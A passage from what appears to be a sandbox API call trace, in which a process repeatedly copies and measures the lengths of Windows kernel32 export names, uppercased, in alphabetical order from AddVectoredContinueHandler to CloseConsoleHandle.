lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0110.583] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0110.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0110.583] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0110.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0110.583] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0110.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0110.583] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0110.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0110.583] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0110.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0110.583] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0110.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0110.583] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0110.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0110.583] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0110.583] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0110.584] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0110.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0110.584] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0110.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0110.584] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0110.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0110.584] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0110.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0110.584] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0110.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0110.584] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0110.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0110.584] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0110.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0110.584] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0110.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0110.584] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0110.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0110.584] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0110.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0110.584] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0110.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0110.584] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0110.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0110.584] lstrlenA (lpString="BACKUPREAD") returned 10 [0110.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0110.584] lstrlenA (lpString="BACKUPSEEK") returned 10 [0110.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0110.584] lstrlenA (lpString="BACKUPWRITE") returned 11 [0110.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0110.584] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0110.584] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0110.585] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0110.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0110.585] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0110.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0110.585] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0110.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0110.585] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0110.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0110.585] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0110.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0110.585] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0110.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0110.585] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0110.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0110.585] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0110.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0110.585] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0110.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0110.585] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0110.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0110.585] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0110.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0110.585] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0110.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0110.585] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0110.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0110.585] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0110.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0110.585] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0110.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0110.585] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0110.585] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0110.586] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0110.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0110.586] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0110.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0110.586] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0110.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0110.586] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0110.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0110.586] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0110.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0110.586] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0110.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0110.586] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0110.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0110.586] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0110.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0110.586] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0110.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0110.586] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0110.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0110.586] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0110.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0110.586] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0110.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0110.586] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0110.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0110.586] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0110.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0110.586] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0110.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0110.586] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0110.586] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0110.587] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0110.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0110.587] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0110.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0110.587] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0110.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0110.587] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0110.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0110.587] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0110.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0110.587] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0110.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0110.587] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0110.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0110.587] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0110.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0110.587] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0110.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0110.587] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0110.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0110.587] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0110.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0110.587] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0110.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0110.587] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0110.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0110.587] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0110.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0110.587] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0110.587] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0110.587] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0110.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0110.588] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0110.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0110.588] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0110.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0110.588] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0110.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0110.588] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0110.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0110.588] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0110.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0110.588] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0110.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0110.588] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0110.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0110.588] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0110.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0110.588] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0110.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0110.588] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0110.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0110.588] lstrlenA (lpString="BEEP") returned 4 [0110.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0110.588] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0110.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0110.588] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0110.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0110.588] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0110.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0110.588] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0110.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0110.589] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0110.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0110.589] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0110.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0110.589] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0110.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0110.589] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0110.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0110.589] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0110.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0110.589] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0110.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0110.589] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0110.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0110.589] lstrlenA (lpString="CANCELIO") returned 8 [0110.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0110.589] lstrlenA (lpString="CANCELIOEX") returned 10 [0110.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0110.589] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0110.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0110.589] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0110.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0110.589] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0110.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0110.590] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0110.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0110.590] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0110.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0110.590] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0110.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0110.590] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0110.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0110.590] lstrlenA (lpString="CHECKELEVATION") returned 14 [0110.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0110.590] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0110.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0110.590] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0110.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0110.590] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0110.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0110.590] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0110.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0110.590] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0110.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0110.590] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0110.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0110.590] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0110.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0110.590] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0110.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0110.590] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0110.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0110.590] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0110.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0110.590] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0110.590] lstrcpyA (in: 